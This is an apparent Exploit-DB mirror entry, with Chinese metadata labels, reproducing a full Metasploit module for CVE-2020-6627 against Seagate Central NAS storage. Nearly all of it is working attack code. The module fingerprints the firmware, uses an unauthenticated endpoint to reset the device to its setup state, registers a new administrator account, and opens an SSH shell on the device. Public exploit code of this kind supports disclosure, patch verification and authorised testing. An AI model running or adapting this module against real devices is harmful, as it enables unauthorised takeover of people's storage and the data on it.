Seagate Central Storage 2015.0916 – Unauthenticated Remote Command Execution (Metasploit)

  • 作者: Ege Balci
    日期: 2023-05-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51487/
  • ##
    # Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
    # Date: Dec 9 2019
    # Exploit Author: Ege Balci
    # Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
    # Version: 2015.0916
    # CVE : 2020-6627
    
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'net/http'
    require 'net/ssh'
    require 'net/ssh/command_stream'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::SSH
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Seagate Central External NAS Arbitrary User Creation",
    'Description'=> %q{
    This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.
    Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state
    and register a new admin user which is capable of SSH access.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Ege Balcı <egebalci@pm.me>' # author & msf module
    ],
    'References' =>
    [
    ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],
    ['CVE', '2020-6627']
    ],
    'DefaultOptions'=>
    {
    'SSL' => false,
    'WfsDelay' => 5,
    },
    'Platform' => ['unix'],
    'Arch' => [ARCH_CMD],
    'Payload'=>
    {
    'Compat' => {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find'
    }
    },
    'Targets'=>
    [
    ['Auto',
    {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD
    }
    ],
    ],
    'Privileged' => true,
    'DisclosureDate' => "Dec 9 2019",
    'DefaultTarget'=> 0
    ))
    
    
    register_options(
    [
    OptString.new('USER', [ true, 'Seagate Central SSH user', '']),
    OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])
    ], self.class
    )
    
    register_advanced_options(
    [
    OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
    OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
    ]
    )
    
    end
    
    def check
    res = send_request_cgi({
    'method'=> 'GET',
    'uri' => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),
    'headers' => {
    'X-Requested-With' => 'XMLHttpRequest'
    }
    },60)
    
    if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
    Exploit::CheckCode::Appears
    else
    Exploit::CheckCode::Safe
    end
    end
    
    def exploit
    
    # First get current state
    first_state=get_state()
    if first_state
    print_status("Current device state: #{first_state['state']}")
    else
    return
    end
    
    if first_state['state'] != 'start'
    # Set new start state
    first_state['state'] = 'start'
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),
    'ctype' => 'application/x-www-form-urlencoded',
    'data'=> "info=#{first_state.to_json}"
    },60)
    
    changed_state=get_state()
    if changed_state && changed_state['state'] == 'start'
    print_good("State successfully changed !")
    else
    print_error("Could not change device state")
    return
    end
    end
    
    name = Rex::Text.rand_name_male
    user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"
    pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)
    
    print_status('Creating new admin user...')
    print_status("User: #{user}")
    print_status("Pass: #{pass}")
    
    # Add new admin user
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),
    'ctype' => 'application/x-www-form-urlencoded',
    'headers' => {
    'X-Requested-With' => 'XMLHttpRequest'
    },
    'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}
    },60)
    
    
    conn = do_login(user,pass)
    if conn
    print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
    handler(conn.lsock)
    end
    
    end
    
    
    
    def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
    :auth_methods=> ['password', 'keyboard-interactive'],
    :port=> 22,
    :use_agent => false,
    :config=> false,
    :password=> pass,
    :proxy => factory,
    :non_interactive => true,
    :verify_host_key => :never
    }
    
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    
    begin
    ssh = nil
    ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
    ssh = Net::SSH.start(rhost, user, opts)
    end
    rescue Rex::ConnectionError
    fail_with Failure::Unreachable, 'Connection failed'
    rescue Net::SSH::Disconnect, ::EOFError
    print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
    return
    rescue ::Timeout::Error
    print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
    return
    rescue Net::SSH::AuthenticationFailed
    print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
    print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
    return
    end
    
    if ssh
    conn = Net::SSH::CommandStream.new(ssh)
    ssh = nil
    return conn
    end
    
    return nil
    end
    
    def get_state
    res = send_request_cgi({
    'method'=> 'GET',
    'uri' => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),
    'headers' => {
    'X-Requested-With' => 'XMLHttpRequest'
    }
    },60)
    
    if res && (res.code == 200 ||res.code == 100)
    return res.get_json_document
    end
    res = nil
    end
    end